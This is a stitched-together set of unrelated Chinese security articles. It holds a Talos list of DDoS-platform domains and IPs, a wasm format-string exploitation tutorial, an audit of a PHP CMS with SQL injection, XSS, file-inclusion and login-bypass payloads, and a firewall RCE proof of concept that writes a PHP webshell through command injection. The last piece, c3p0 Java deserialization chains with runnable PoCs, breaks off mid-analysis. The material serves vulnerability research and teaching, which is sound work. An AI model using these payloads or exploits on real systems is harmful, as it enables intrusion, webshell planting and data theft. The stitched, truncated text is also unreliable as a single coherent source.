过去几年来，Talos团队已经监测到在某些黑客论坛上，一些网络黑客销售英文版DDoS平台源代码的行为，中国黑客可能通过购买获得这个源代码并基于它的源代码，并将其汉化以销售给更多的中国用户。
**结论**
****
近期，关于中国在线DDoS平台数量上升似乎与中国黑客论坛出售ddos平台源代码相关。该源代码似乎最初由国外的黑客编写，之后被中国的黑客汉化。
在线DDoS平台能够提供易于使用的界面，并且可以为用户提供了所有必要的基础设施，因此不需要用户构建僵尸网络或购买额外的服务。因此，用户可以通过可信支付站点购买激活码，然后简单地输入其想要攻击的目标，这样即使是新入门的管理员也能够发起强大的ddos攻击。
**Talos团队将继续监控中国黑客论坛和社交软件群聊，持续研究和分析新建的在线中文DDoS平台以及中国DDoS行业的发展趋势。**
**
**
**IOCS**
****
**在线DDoS网站**
www[.]794ddos[.]cn
www[.]dk.ps88[.]org
www[.]tmddos[.]top
www[.]wm-ddos[.]win
www[.]tc4[.]pw
www[.]hkddos[.]cn
www[.]ppddos[.]club
www[.]lnddos[.]cn
www[.]711ddos[.]cn
www[.]830ddos[.]top
www[.]bbddos[.]com
www[.]941ddos[.]club
www[.]123ddos[.]net
www[.]the-dos[.]com
www[.]etddos[.]cn
www[.]jtddos[.]me
www[.]ccddos[.]ml
www[.]87ddos[.]cc
www[.]ddos[.]cx
www[.]hackdd[.]cn
www[.]shashenddos[.]club
www[.]minddos[.]club
www[.]caihongtangddos[.]cn
www[.]zfxcb[.]top
www[.]91moyu[.]top
www[.]xcbzy[.]club
www[.]this-ddos[.]cn
www[.]aaajb[.]top
www[.]ddos[.]qv5[.]pw
www[.]tdddos[.]com
www[.]ddos[.]blue
**IP**
104[.]18.54.93
104[.]18.40.150
115[.]159.30.202
104[.]27.161.160
104[.]27.174.49
104[.]27.128.111
144[.]217.162.94
104[.]27.130.205
103[.]255.237.138
45[.]76.202.77
104[.]27.177.67
104[.]31.86.177
103[.]42.212.68
142[.]4.210.15
104[.]18.33.110
104[.]27.154.16
104[.]27.137.58
23[.]230.235.62
104[.]18.42.18
162[.]251.93.27
104[.]18.62.202
104[.]24.117.44
104[.]28.4.180
104[.]31.76.30 | 社区文章 |
## 前置知识
* wasm不是asm.
* wasm可以提高一些复杂计算的速度,比如[一些游戏](https://files.unity3d.com/jonas/AngryBots/)
* wasm的内存布局不同与常见的x86体系,wasm分为线性内存、执行堆栈、局部变量等.
* wasm在调用函数时,由执行堆栈保存函数参数,以`printf`函数为例,其函数原型为
int printf(const char *restrict fmt, ...);
函数的参数分别为
> * 格式化字符串
>
> * 格式化字符串参数列表
>
>
我们编译以下代码
// emcc test.c -s WASM=1 -o test.js -g3
#include <emscripten.h>
#include <stdio.h>
void EMSCRIPTEN_KEEPALIVE test()
{
sprintf("%d%d%d%d", 1, 2, 3, 4);
return;
}
在chrome中调试,可以看到在调用`printf`函数时执行堆栈的内容为
stack:
0: 1900
1: 4816
其中的0,1分别为`printf`的两个参数,1900,4816分别指向参数对应的线性内存地址,拿1900为例,其在线性内存中的值为
1900: 37
1901: 100
1902: 37
1903: 100
1904: 37
1905: 100
1906: 37
1907: 100
1908: 0
即`%d%d%d%d\x00`
## 部分读
### 获取栈上变量的值
当存在格式化字符串漏洞时,我们可以直接通过`%d%d%d%d`来泄露栈上的值
// emcc test.c -s WASM=1 -o test.js -g3
#include <emscripten.h>
#include <stdio.h>
void EMSCRIPTEN_KEEPALIVE test()
{
int i[0x2];
i[0] = 0x41414141;
i[1] = 0x42424242;
sprintf("%d%d%d%d");
return;
}
当我们执行到`printf`时,执行堆栈为
stack:
0: 1900
1: 4816
第二个参数4816即为`va_list`的指针,查看线性内存中的值可以看到我们正好可以泄露变量i的值
4816: 0
4817: 0
4818: 0
4819: 0
4820: 0
4821: 0
4822: 0
4823: 0
4824: 65
4825: 65
4826: 65
4827: 65
4828: 66
4829: 66
4830: 66
4831: 66
### 泄露被调用函数中的值
除此之外,由于线性内存地址由低到高增长,所以格式化字符串还可以泄露出被调用函数的某些值
// emcc test.c -s WASM=1 -o test.js -g3
#include <emscripten.h>
#include <stdio.h>
void sub()
{
char password[] = "password";
return;
}
void EMSCRIPTEN_KEEPALIVE test()
{
sub();
printf("%d%d%d%d%d%d");
return;
}
当调用`sub()`时,线性内存布局为
+-----------+
| |
+-----------+
| |
+-----------+ <- sub()
| password |
+-----------+
| |
+-----------+
由于函数返回后线性内存的值不会清除,此时再调用`printf`的话,线性内存布局为
+-----------+
| |
+-----------+
| va_list |
+-----------+ <- sub()
| password |
+-----------+
| |
+-----------+
由于存在格式化字符串漏洞,`va_list`会覆盖到之前调用`sub()`时留下的值
## 任意读
### 在fmt中构造地址
与x86下的任意读几乎相同,借助fmt在线性内存中提前伪造好我们需要的地址,类似如下语句
%d%s[addr]
一般情况下addr需要放在最后,因为线性内存地址从0开始增长,容易被`\x00`截断
编译下段代码,编译为`html`格式方便查看结果
// emcc test.c -s WASM=1 -o test.html -g3
#include <emscripten.h>
#include <stdio.h>
void EMSCRIPTEN_KEEPALIVE main()
{
char fmt[0xf] = "%d%d%d%s\x00\x13\x00\x00";
printf(fmt);
puts("");
return;
}
其中`puts()`函数用于刷新缓冲流
当调用`printf`时调用堆栈的参数为
stack:
0: 4884
1: 4880
查看线性内存布局
+-----------+ <- 4864
| ./th |
+-----------+
| is.p |
+-----------+
| rogr |
+-----------+
| am\x00 |
+-----------+ <- va_list
| \x00 |
+-----------+
| %d%d |
+-----------+
| %d%s |
+-----------+
| addr_4864 |
+-----------+
因此从`va_list`开始,通过`%d%d%d%s`可以读取到`addr_4864`保存的地址
### 通过溢出构造地址
上边的方式已经很便捷了,为什么还需要通过溢出来构造呢?
问题在于我们并不能保证在线性内存中`fmt`总是位于`va_list`下方
现在我们修改上边的代码
// emcc test.c -s WASM=1 -o test.html -g3
#include <emscripten.h>
#include <stdio.h>
void EMSCRIPTEN_KEEPALIVE main()
{
char fmt[0x10] = "%d%d%d%s\x00\x13\x00\x00";
printf(fmt);
puts("");
return;
}
只需将fmt数字改为`0x10`size,此时我们再查看函数执行堆栈
stack:
0: 4880 <- fmt
1: 4896 <- va_list
会发现`va_list`处于`fmt`下方,那么此时`va_list`下方还会有什么呢?答案是什么也没有.
出现这种情况的原因在于emscripten的编译机制以及wasm的传参方式
我们先讲在x86中会发生什么,以32位为例:
当我们调用函数`printf(fmt);`时,编译器会将参数`fmt`压入栈中,此时栈中布局为
+-----------+ <- low addr
| |
+-----------+
| fmt_ptr |
+-----------+ <- fmt
| XXXX |
+-----------+
| XXXX |
+-----------+ <- high addr
如果`printf`只传入了一个参数,那么编译器就会老老实实的进行一次`push`,反过来对于`printf`函数来说,它并不知道调用函数进行了几次`push`,它只会根据`fmt`以及调用约定,不断向下读取参数
但是对于wasm并不是这样,我们在开头就已经提到过,wasm在调用函数时会将参数保存在执行堆栈中,如果把所有变长参数都保存在执行堆栈中
比如这样
stack:
0: fmt
1: va1
2: va2
3: va3
那么被调用函数就无法确定变长参数.
因此对于变长参数,wasm会在执行堆栈中保存`va_list`,其指向线性内存中的一段区域
stack: +--> +--------+ <- va_list
0: fmt | | XXXX |
1: va_list +--+ +--------+
被调用函数就通过`va_list`指向的线性内存来读取变长参数
并非所有的变量都在线性内存中,类似于`int i;`这种的变量声明会直接保存在局部变量中,只有需要分配内存的变量才会保存在线性内存中,比如`char
s[0x10]`,这些变量在线性内存中的布局与他们的声明顺序有关,通常来讲,先声明的变量位于线性内存的高地址处,后声明的变量位于线性内存的低地址处,比如若一段代码
char arr1[0x10];
char arr2[0x20];
char arr3[0x30];
那么它的内存布局为
+-----------+ <- low addr
| |
+-----------+
| arr1 |
+-----------+
| arr2 |
+-----------+
| arr3 |
+-----------+ <- high addr
这是一般情况
在需要的内存小于`0x10`时,可能是出于优化的目的,会被统一放到线性内存的高地址处,直接拿我们开头举的例子
// emcc test.c -s WASM=1 -o test.html -g3
#include <emscripten.h>
#include <stdio.h>
void EMSCRIPTEN_KEEPALIVE main()
{
char fmt[0x10] = "%d%d%d%s\x00\x13\x00\x00";
printf(fmt);
puts("");
return;
}
此时fmt大于`0x10`,而`va_list`作为一个隐式的变量,其小于`0x10`,因此会被放入高地址处,在这种情况下,我们是没有办法通过在`fmt`中构造地址来泄露内存,当然,我们仍然可以通过调用一个函数来达到这个目的,比如说
// emcc test.c -s WASM=1 -o test.html -g3
#include <emscripten.h>
#include <stdio.h>
void sub()
{
char target[] = "\x00\x13\x00\x00";
}
void EMSCRIPTEN_KEEPALIVE main()
{
char fmt[0x10] = "%d%d%d%d%s";
sub();
printf(fmt);
puts("");
return;
}
另一种方法就是通过溢出,当存在溢出时,我们可以将需要的值溢出到`va_list`中
#include <emscripten.h>
#include <stdio.h>
void EMSCRIPTEN_KEEPALIVE main()
{
char fmt[0x10] = "%sAABBBBCCCCDDDD";
// overflow two bytes
fmt[0x10] = '\x00';
fmt[0x11] = '\x13';
printf(fmt);
puts("");
return;
}
由于此时`va_list`位于高地址处,只需要溢出很少的字节就可以做到任意地址读
## 任意写
任意写和任意读很相似,加上wasm通常可以通过函数索引来达到控制程序流的目的,格式化字符串的任意写很实用
通常为了实现任意写我们会构造为
%[value]d%k$n[addr]
比如
// emcc test.c -s WASM=1 -o test.html -g3
#include <emscripten.h>
#include <stdio.h>
int flag;
void getflag()
{
if(flag == 1)
{
printf("YouGotIt!");
}
return;
}
void EMSCRIPTEN_KEEPALIVE main()
{
flag = 3;
char fmt[0xf] = "%01d%4$n\xd0\x0b\x00\x00";
printf(fmt);
getflag();
return;
}
其中`flag`地址为`0xbd0`,正常来讲,我们打印了一个字符,这时对`va_list`的第四个参数即`flag`的地址赋值时会为1
但是结果`getflag()`函数并不会正确输出,再debug一下会发现调用`printf`函数后会报错
stack:
0: -1
这是因为`emscripten`编译器并未使用`glibc`,而是采用的`musl`的libc,其源码可以在[emscripten](https://github.com/emscripten-core/emscripten/tree/incoming/system/lib/libc/musl)项目下查看,`printf`的核心在`printf_core`中
// emscripten-incoming/system/lib/libc/musl/src/stdio/vfprintf.c 693
for (i=1; i<=NL_ARGMAX && nl_type[i]; i++)
pop_arg(nl_arg+i, nl_type[i], ap, pop_arg_long_double);
for (; i<=NL_ARGMAX && !nl_type[i]; i++);
if (i<=NL_ARGMAX) return -1;
格式化字符串`%k$n`中的k会按从小到大的顺序依次打印出来直到满足条件`i<=NL_ARGMAX &&
nl_type[i];`,然后检查是否存在不按顺序的k,即`i<=NL_ARGMAX && !nl_type[i];`
总结一下musl下`printf`函数的几个特点
> * 存在%(k+1)\$n则必须存在%(k)$n
> * (k)与(k+1)之间没有先后顺序
> * 最多有`NL_ARGMAX`个格式化字符串标志
> * 需要在%d之前使用%k$d(忘了写注释,这段的源码忘记在哪里了,`printf`在输出%d后会返回)
>
所以musl中的`printf`大致相当于glibc中`__printf_chk`的弟弟版,因此为了实现任意写,我们可能需要写一个奇形怪状的格式化字符串
#include <emscripten.h>
#include <stdio.h>
#include <string.h>
int flag;
void getflag()
{
if(flag == 1)
{
printf("YouGotIt!\n");
}
return;
}
void EMSCRIPTEN_KEEPALIVE main()
{
flag = 3;
char fmt[0x10];
memcpy(fmt, "A%2$n%1$xBBBCCCCDDDD\xe0\x0b\x00\x00", 24);
printf(fmt);
getflag();
return;
} | 社区文章 |
## 熊海CMS代码审计（新手向）
[TOC]
#### CMS目录结构分析
我们首先可以使用window下自带的tree命令生成文件目录。
我们使用命令，生成目录文件。
tree /f>tree.txt
我们分析主目录文件的功能：
——admin //后台文件
——css //css文件
——files //功能函数文件
——images //图片
——index.php //主目录文件
——install //安装文件
——seacmseditor //编辑器
——template //模板文件
——upload //文件上传目录
我们使用RIPS或SEAY进行扫描。
#### 一、安装流程中存在SQL注入
**漏洞位置：**`/install/index.php`
RIPS审计出现sql注入，跟进文件比对审计结果。
通读代码发现代码逻辑如下：
1.检测是否生成了InstallLock.txt文件
2.执行sql语句
审计发现这里sql语句确实没有经过过滤，直接插入update的sql语句，导致sql注入。
##### 漏洞演示：
**payload:**
1' extractvalue(1,concat(0x7e,(select @@version),0x7e))#
1.根据源码可知，我们首先需要删除安装目录下的installLock.txt文件（如果网站上存在一个任意文件删除漏洞）
2.删除后我们重新进入安装界面。
在管理账号一栏输入我们的payload，也就是我们常见的报错注入方法，
之后我们提交：
发现在修改错误一栏发现爆出我们的Mysql版本，证明漏洞存在。
#### 二、主目录存在文件包含
跟进文件
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
代码逻辑大概为，通过GET型传参传入r，并将值经过一个`addslashes()`函数操作，然后一个三元运算符判断要载入的文件，直接进入`include`函数包含。
`include('files/'.$action.'.php');`这条语句包含了file目录下的文件。
语法为：条件表达式？表达式1：表达式2
问号前面的位置是判断的条件，判断结果为bool型，为true是调用表达式1，为false时调用表达式2.
由代码逻辑可知，代码限制了我们访问的目录为file。
**Bypass:** 可用`../`进行目录跳转。
##### 漏洞演示
我们首先在cms根目录下新建一个phpinfo文件
然后我们在本地访问index.php添加如下参数。即可正确解析phpinfo界面
因为此处代码会自动在文件名后添加.php，所以我们不添加后缀名，否则无法正常解析。
#### 三、前台多处SQL注入
结合RIPS扫描结果可发现多处sql注入漏洞，该CMS采用过滤方式大多是通过`addslashes()`函数过滤。
单纯使用`addslashes()`函数会造成两个问题：
1. 是否采用GBK（宽字节注入）
2. sql语句是否采用了单引号闭合。
##### software.php
**漏洞位置：**`files/software.php`第13行，where后字句忘记加单引号保护。
$query = "UPDATE download SET hit = hit+1 WHERE id=$id";
##### content.php
**漏洞位置：**`files/content.php`第19行，where后字句忘记加单引号保护。
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";
##### submit.php
首先可看见 过滤和传参
$type=addslashes($_GET['type']);
$name=$_POST['name'];
$mail=$_POST['mail'];
$url=$_POST['url'];
$content=$_POST['content'];
$cid=$_POST['cid'];
$ip=$_SERVER["REMOTE_ADDR"];
$tz=$_POST['tz'];
if ($tz==""){$tz=0;}
$jz=$_POST['jz'];
只对`type`参数进行了过滤，因此其他参数涉及到sql语句的可能存在sql注入。
**漏洞位置：**`files/submit.php`第66行
$query = "SELECT * FROM interaction WHERE( mail = '$mail')";
**漏洞位置：**`files/submit.php` 第121-147行
$query = "INSERT INTO interaction (
type,
xs,
cid,
name,
mail,
url,
touxiang,
shebei,
ip,
content,
tz,
date
) VALUES (
'$type',
'$xs',
'$cid',
'$name',
'$mail',
'$url',
'$touxiang',
'$shebei',
'$ip',
'$content',
'$tz',
now()
)";
**漏洞位置：**`files/submit.php` 第176行
$query = "SELECT * FROM content WHERE( id= $cid)";
**漏洞位置：**`files/submit.php` 第206行
$query = "SELECT * FROM download WHERE( id= $cid)";
#### 四、XSS漏洞
* * *
##### 反射型XSS
**漏洞位置：**`files/contact.php` 第12~15行
$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
经过一次`addslashes`函数处理就直接带入页面。
我们访问网址的联系功能，找到了代码对于的page参数，其实就是留言列表的页数。
我们尝试插入一个简单XSS payload
page=<img src=x onerror=alert(/xss/);>
漏洞利用成功。
##### 存储型XSS
**漏洞位置：**`files/content.php`
<div class="manageinfo">
<ul>
<div class="lou">回复 #<?php echo $pinglun['id']?> 楼</div>
<?php
$query2 = "SELECT * FROM manage";
$resul2 = mysql_query($query2) or die('SQL语句有误：'.mysql_error());
$manage2 = mysql_fetch_array($resul2);
if ($manage2['img']==""){
$touxiang="images/manage.jpg";
} else{
$touxiang=$manage2['img'];
}
?>
<img src="<?php echo $touxiang?>">
<strong><?php echo $manage2['name']?><span>认证站长</span></strong>
<li>位置：<a><?php echo $pinglun['rip']?></a></li>
<li>时间：<a><?php echo tranTime(strtotime($pinglun['rdate']))?></a></li>
<li>来自：<a><?php echo $pinglun['rshebei']?></a></li>
</ul>
</div>
这里是从$pinglun这个变量中取出其中的信息，随后插入存储信息的`interaction`表
在`/files/submit.php`中将content内容给过滤。
$content=addslashes(strip_tags($content)); //过滤HTML
在评论处可以提交昵称、邮箱、网址、评论内容，但是显示评论和留言的地方有昵称，所以只有昵称处有存储型XSS。
#### 五、越权
**漏洞位置：**`inc/checklogin.php`
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>
该处的代码逻辑存在问题，直接从`COOKIE`处赋值给`$user`
如果 `$user`为空就跳转至登录界面
反之如果不为空就可以访问，因此存在越权访问。
**漏洞利用：**
我们首先从admin中进入使用之前的账号登录后台。然后找到一个发布内容的页面：参数为?r=newwz
之后我们退出登录，回到登录界面。查看页面的cookie
发现在cookie里确实没有user值，我们尝试直接跳转刚才登录后的发布页面，发现会自动跳转到登录界面。
根据代码逻辑，我们可以尝试在cookie中添加一个user，因为代码没有判断user的具体值，所以填入任意数值即可。
我们在尝试跳转页面，
发现没有登录，我们也成功进入了后台页面。
#### 六、后台万能密码登录
* * *
**漏洞位置：**`admin/files/login.php`
<?php
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];
if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$users = mysql_fetch_array($result);
if (!mysql_num_rows($result)) {
echo "<Script language=JavaScript>alert('抱歉，用户名或者密码错误。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉，用户名或者密码错误。');history.back();</Script>";
exit;
}
//写入登录信息并记住30天
if ($checkbox==1){
setcookie('user',$user,time()+3600*24*30,'/');
}else{
setcookie('user',$user,0,'/');
}
echo "<script>this.location='?r=index'</script>";
exit;
}
exit;
ob_end_flush();
}
?>
万能密码登录有两个点：
1. **user** 未经过过滤直接拼接进入数据库查询
2. **password** 的md5对比可绕过
**payload:**
user:1' union select 1,2,'test','c4ca4238a0b923820dcc509a6f75849b',5,6,7,8#
password:1
此处md5(1)=c4ca4238a0b923820dcc509a6f75849b
我们进入后台，在账号一栏中填入payload，密码输入mad5加密的1即可成功登录。
**漏洞分析**
我们登录我们的mysql数据库，查询xhcms库下的manage表
我们使用联合查询的方法，发现结果在数据库下添加一行新的参数，而添加的值我们是可控的。
所以我们的payload就是通过传入新的md5加密后的password，从而达到绕过验证，直接登录的目的。
#### 总结
这个cms和bluecms用来入门代码审计还是不错的，但是现在大多数cms应该都不会有这种很低级的sql注入或文件包含了。。。。。用来学习审计思路还是挺好的。 | 社区文章 |
# 网X防火墙前台RCE
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
之前看到有关于这个漏洞的信息，于是想着自己在代码层次做一个详细的分析。
POC
POST /directdata/direct/router HTTP/1.1
Host: *.*.*.*
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 225
{
"action": "SSLVPN_Resource",
"method": "deleteImage",
"data":[{
"data":["/var/www/html/b.txt;echo '<?php @eval($_POST[a]);?>'>/var/www/html/test.php"]
}],
"type": "rpc",
"tid": 17
}
在获取源代码之后，我们直接关注路由信息
`var\www\html\applications\directdata\controllers\DirectController.php`
我们可以看到这个函数中语句并不是很多，调用 `Ext_Direct::run(` 去处理了 request 过来的请求
因为包含了 php 文件 `/applications/Models/Ext/Direct.php` 所以 `Ext_Direct` 来源于此
`var\www\html\applications\Models\Ext\Direct.php`
我们直接关注其中的 run 方法 发现首先 利用 `Ext_Direct_Request::factory` 对传入的请求进行了处理
var\www\html\applications\Models\Ext\Direct\Request.php
对传入的请求首先解码，然后判断是否存在对应的参数，之后返回一个新的类
`var\www\html\applications\Models\Ext\Direct\Request.php#__construct`
此处注意到在创建新的类的时候，前台传入的 `data` 参数 对应的是 `arguments`
再返回函数 `Ext_Direct::run`
将 request 的请求处理之后，转换为数组类型，首先判断传入的 `action` 值 ，是否存在这个类，然后 new
一个这样的类；再判断这个类中是否存在`Method`
所对应的方法；最后到达存在漏洞的关键函数`call_user_func_array(array($dao, $r->getMethod()),
$r->getArguments())`
这个函数如果全部 request 的相关参数的表示的话 应该是 `call_user_func_array(array(action, Method),
data)` 就是以 data 为参数值，调用 action 类中的 Method 方法
根据公开的 POC 找到函数位置
`var\www\html\applications\Models\SSLVPN\Resource.php`
直接从参数 `$params` 中提取出 data 部分，拼接到 `$cmd`
存在回调函数的话，就可以任意调用任何一个类当中的任何方法
`var\www\html\applications\Models\System\PostSignature.php#getMd5sum` | 社区文章 |
## 简介
c3p0是用于创建和管理连接，利用“池”的方式复用连接减少资源开销，和其他数据源一样，也具有连接数控制、连接可靠性测试、连接泄露控制、缓存语句等功能。目前，hibernate自带的连接池就是c3p0。
## ysoserial之URLClassLoader链分析
### 利用链分析
**利用链**
* com.sun.jndi.rmi.registry.RegistryContext->lookup
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
查看`com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase`类源码
实现有`Serializable`接口，且具有PropertyChangeSupport和VetoableChangeSupport对象，是的具有监听器的功能
跟进`PoolBackedDataSourceBase#writeObject`方法
会保存他的成员变量`connectionPoolDataSource`，但是如果他本身不是一个可以序列化的对象，就会先执行`indirector.indirectForm`方法之后进行序列化
跟进`indirectForm`
他会首先调用`connectionPoolDataSource`的`getReference`方法得到Reference对象，之后再使用`ReferenceIndirector.ReferenceSerialized`对象进行包装之后返回一个`IndirectlySerialized`
这里的`ReferenceSerialized`是`ReferenceIndirector`类里面的一个内置类
之后在进行反序列化的时候，跟进`PoolBackedDataSourceBase#readObject`
会调用`IndirectlySerialized#getObject`方法还原对象
这个`IndirectlySerialized`是一个接口，而`ReferenceIndirector.ReferenceSerialized`实现了这个接口，并重写了`getObject`方法
所以就是调用的这个getObject方法，跟进
虽然这里具有一个lookup，但是这里的contextName是不可控的，所以触发点不在这里
后面的return语句中调用了`ReferenceableUtils.referenceToObject`方法，跟进
他从Reference对象中取出了`classFactory`和`classFactoryLocation`属性然后进行URLClassLoader进行加载并实例化，这样一个完整的利用链就形成了
### POC编写
构造一个不可序列化的并且实现了`Referenceable`的`ConnectionPoolDataSource`对象,
其`getReference`方法返回带有恶意类位置的`Reference`对象
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.logging.Logger;
public class c3p0_POC {
private static class ConnectionPool implements ConnectionPoolDataSource , Referenceable{
protected String classFactory = null;
protected String classFactoryLocation = null;
public ConnectionPool(String classFactory,String classFactoryLocation){
this.classFactory = classFactory;
this.classFactoryLocation = classFactoryLocation;
}
@Override
public Reference getReference() throws NamingException {
return new Reference("ref",classFactory,classFactoryLocation);
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
byte[] bytes = byteArrayOutputStream.toByteArray();
objectOutputStream.close();
return Base64.getEncoder().encodeToString(bytes);
}
public static void unserialize(String exp) throws IOException, ClassNotFoundException {
byte[] decode = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static void main(String[] args) throws Exception{
Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
constructor.setAccessible(true);
PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance();
ConnectionPool connectionPool = new ConnectionPool("EvilObject","http://127.0.0.1:8888/");
Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(obj, connectionPool);
String serialize = serialize(obj);
System.out.println(serialize);
unserialize(serialize);
}
}
这里主要是重写那个getReference方法
成功触发计算器
## BeanFactory不出网RCE
在加载类的逻辑中，如果Reference对象的classFactoryLocation为null的时候，就不会加载远程字节码，而是直接加载本地字节码
所以我们就需要一个实现了ObjectFactory接口的，并调用他的getObjectInstance方法
在JNDI注入中，在高版本的java中出现了trustCodebaseURL的限制，导致不能远程加载字节码，但是有着[绕过高版本](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)的方法
在JNDI中如果进行looup操作的时候，会动态的加载并实例化Factory类，并且调用factory.getObjectInstance()方法获取远程对象实例，攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码，达到RCE的效果
文中使用了`org.apache.naming.factory.BeanFactory`类+`javax.el.ELProcessor#eval`执行任意el表达式
### POC
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.logging.Logger;
public class c3p0_no_network {
public static String serialize(Object obj) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
byte[] expCode = byteArrayOutputStream.toByteArray();
objectOutputStream.close();
return Base64.getEncoder().encodeToString(expCode);
}
public static void unserialize(String expBase64) throws Exception {
byte[] bytes = Base64.getDecoder().decode(expBase64);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
private static class NotSerializable implements ConnectionPoolDataSource, Referenceable {
private String classFactory;
private String classFactoryLocation;
public NotSerializable() {
this.classFactory = "BeanFactory";
this.classFactoryLocation = null;
}
public NotSerializable(String classFactory, String classFactoryLocation) {
this.classFactory = classFactory;
this.classFactoryLocation = classFactoryLocation;
}
@Override
public Reference getReference() throws NamingException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','\"open -a Calculator\"']).start()\")"));
return ref;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public java.io.PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public void setLogWriter(java.io.PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
ConnectionPoolDataSource connectionPoolDataSource1 = new NotSerializable();
Field field = poolBackedDataSourceBase.getClass().getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(poolBackedDataSourceBase, connectionPoolDataSource1);
String serializeData = serialize(poolBackedDataSourceBase);
System.out.println(serializeData);
unserialize(serializeData);
}
}
### 条件
需要tomcat8下的依赖
除了使用EL表达式也有其他利用
* org.apache.naming.factory.BeanFactory + groovy
* org.apache.naming.factory.BeanFactory + SnakeYaml
* org.apache.naming.factory.BeanFactory + XStream
## Fastjson中的JndiRefForwardingDataSource类利用
### 分析
在其中的`dereference`方法中存在一个lookup，如果这个`jndiName`可控就会导致JNDI注入
虽然在`JndiRefForwardingDataSource`类中，并没有对应的setter，但是这个类继承了`JndiRefDataSourceBase`类，在这个类中存在有setter方法
这样，这个`jndiName`就可以控制了
在`inner`方法中存在`dereference`的调用，寻找setter方法
